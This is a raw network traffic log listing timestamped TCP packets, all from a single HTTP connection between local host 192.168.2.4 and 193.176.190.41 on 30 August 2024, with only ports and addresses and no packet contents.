Aug 30, 2024 18:13:04.508955002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.508970976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509099960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509109974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509119987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509130955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509150982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509186983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509186983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509186983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509186983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509186983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509218931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509258986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509272099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509284019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509315014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509326935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509387016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509397984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509408951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509423018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509424925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509449005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509459019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.509504080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.509567022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.511468887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511528015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.511533976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511544943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511570930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.511585951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.511655092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511666059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511677027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511687040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511693001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.511697054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.511724949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.511758089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512075901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512123108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512140036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512156010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512180090 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512190104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512223959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512259960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512305975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512315989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512343884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512351990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512432098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512442112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512451887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512461901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512470961 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512490988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512510061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512650013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512660027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512670040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512680054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.512693882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.512718916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.515841007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.515863895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.515908957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.515916109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.515938044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.515959024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.515974045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.515985966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.515995979 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516016006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516042948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516153097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516164064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516175032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516184092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516196012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516197920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516227961 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516304970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516315937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516347885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516352892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516395092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516434908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516444921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516459942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516470909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516474009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516494989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516520977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516660929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516673088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516683102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516693115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516704082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516704082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516715050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516726017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516727924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516737938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516756058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516781092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.516956091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516966105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516976118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516985893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.516995907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517000914 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517005920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517016888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517030954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517050028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517218113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517235041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517245054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517255068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517258883 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517266035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517276049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517287016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517291069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517321110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517477989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517488003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517498016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517520905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517534971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517652035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517663002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517673016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517683029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517693043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517695904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517704964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517725945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517740011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.517852068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.517893076 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.552153111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552169085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552187920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552195072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552206039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552217007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552222967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.552229881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552268982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.552280903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.552284956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.552336931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553479910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553491116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553502083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553525925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553555012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553601027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553611994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553622007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553642988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553658962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553740978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553752899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553778887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553802013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553838015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553854942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553905010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553905010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.553961992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553972960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553983927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553993940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.553999901 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554008961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554023981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554050922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554181099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554192066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554244041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554244041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554281950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554294109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554323912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554337978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554418087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554429054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554440022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554450989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554452896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554471970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554471970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.554486036 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.554510117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.595777035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595817089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595827103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595838070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595849991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595858097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.595861912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595871925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.595895052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.595941067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595952988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.595983028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.596030951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.596046925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.596072912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.596095085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.596177101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.596189022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.596199989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.596210957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.596216917 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.596221924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.596230030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.596251011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.596275091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598279953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598303080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598314047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598332882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598345995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598355055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598490953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598503113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598515034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598530054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598532915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598545074 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598562956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598572969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598582983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598622084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598795891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598817110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598826885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598834991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598850965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598867893 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.598917961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.598958015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599004030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599015951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599045992 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599111080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599123001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599133968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599143982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599152088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599169016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599194050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599355936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599370956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599396944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599409103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599426031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599438906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.599466085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.599477053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.602725983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.602749109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.602758884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.602780104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.602792978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.602875948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.602888107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.602900028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.602910995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.602916956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.602946043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603099108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603111982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603142977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603270054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603281975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603293896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603328943 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603413105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603425026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603436947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603447914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603460073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603461981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603477001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603497982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603760958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603774071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603785038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603796959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603807926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603809118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.603832006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.603842974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604043007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604054928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604067087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604077101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604088068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604089975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604115009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604125023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604192972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604232073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604309082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604326010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604337931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604348898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604348898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604368925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604387045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604502916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604515076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604547977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604559898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604645014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604681015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604753017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604764938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604775906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604788065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604790926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604799032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604805946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.604809999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604821920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.604825020 CEST	49733	80	192.168.2.4	193.176.190.41
